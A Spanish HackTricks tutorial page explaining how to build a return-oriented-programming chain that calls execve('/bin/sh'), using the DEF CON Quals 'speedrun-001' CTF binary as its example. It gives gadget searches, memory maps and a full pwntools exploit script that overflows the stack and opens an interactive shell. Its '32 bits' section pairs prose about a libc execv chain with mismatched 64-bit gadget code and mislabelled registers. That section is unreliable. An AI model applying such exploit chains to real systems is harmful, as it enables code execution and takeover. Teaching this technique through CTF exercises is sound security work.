10 KiB
ROP - llamar a sys_execve
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección de exclusivos NFTs
- Consigue el swag oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Para preparar la llamada al syscall se necesita la siguiente configuración:
rax: 59 Especifica sys_execve
rdi: ptr a "/bin/sh" especifica el archivo a ejecutar
rsi: 0 especifica que no se pasan argumentos
rdx: 0 especifica que no se pasan variables de entorno
Por lo tanto, básicamente se necesita escribir la cadena /bin/sh
en algún lugar y luego realizar la syscall
(siendo consciente del relleno necesario para controlar la pila).
Controlar los registros
Comencemos encontrando cómo controlar esos registros:
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
Con estas direcciones es posible escribir el contenido en la pila y cargarlo en los registros.
Escribir cadena
Memoria escribible
Primero necesitas encontrar un lugar escribible en la memoria.
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
Escribir una cadena
Luego necesitas encontrar una forma de escribir contenido arbitrario en esta dirección.
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
32 bits
En esta sección, se explicará cómo ejecutar una llamada al sistema execv
utilizando ROP en una arquitectura de 32 bits.
La llamada al sistema execv
se utiliza para ejecutar un programa en un proceso existente. Toma dos argumentos: el primero es el nombre del archivo ejecutable y el segundo es una matriz de argumentos que se pasan al programa.
Para ejecutar esta llamada al sistema utilizando ROP, necesitamos encontrar las direcciones de memoria de las siguientes funciones:
execv
exit
/bin/sh
Una vez que tengamos estas direcciones, podemos construir nuestra cadena ROP. La cadena ROP debe tener el siguiente formato:
[padding] + [execv address] + [exit address] + ["/bin/sh" address] + [argumentos] + [null]
El padding
se utiliza para llenar el espacio entre el final de la cadena ROP y el inicio de la pila. Los argumentos son una cadena de argumentos separados por null. El último null se utiliza para indicar el final de la matriz de argumentos.
Una vez que tengamos nuestra cadena ROP, podemos sobrescribir la dirección de retorno de la función vulnerable con la dirección de la primera instrucción de nuestra cadena ROP. Esto hará que la función vulnerable salte a nuestra cadena ROP en lugar de volver a la dirección de retorno original.
Una vez que se ejecute nuestra cadena ROP, se llamará a la función execv
con los argumentos que proporcionamos. Esto ejecutará el programa especificado en el primer argumento con los argumentos adicionales especificados en la matriz de argumentos.
En resumen, para ejecutar una llamada al sistema execv
utilizando ROP en una arquitectura de 32 bits, necesitamos encontrar las direcciones de memoria de execv
, exit
y /bin/sh
, construir una cadena ROP con el formato adecuado y sobrescribir la dirección de retorno de la función vulnerable con la dirección de la primera instrucción de nuestra cadena ROP.
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
64 bits
En sistemas de 64 bits, los registros son más grandes, por lo que necesitamos más gadgets para construir nuestra cadena ROP. Además, los argumentos se pasan en diferentes registros. En Linux, los primeros seis argumentos se pasan en los registros RDI, RSI, RDX, RCX, R8 y R9, respectivamente. Si hay más argumentos, se pasan en la pila.
Para llamar a una syscall en sistemas de 64 bits, primero debemos mover el número de la syscall al registro RAX y luego llamar a la instrucción syscall
. Los argumentos se pasan en los registros mencionados anteriormente. Por ejemplo, para llamar a la syscall execve("/bin/sh", NULL, NULL)
, necesitamos los siguientes gadgets:
pop rdi; ret
pop rsi; ret
pop rdx; ret
mov eax, 0x3b; ret
syscall
Aquí, el primer gadget saca el valor de /bin/sh
de la pila y lo mueve al registro RDI. El segundo gadget saca el valor NULL de la pila y lo mueve al registro RSI. El tercer gadget saca otro valor NULL de la pila y lo mueve al registro RDX. El cuarto gadget mueve el número de la syscall execve
al registro RAX. Finalmente, la instrucción syscall
llama a la syscall con los argumentos pasados en los registros correspondientes.
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
Ejemplo
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Referencias
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.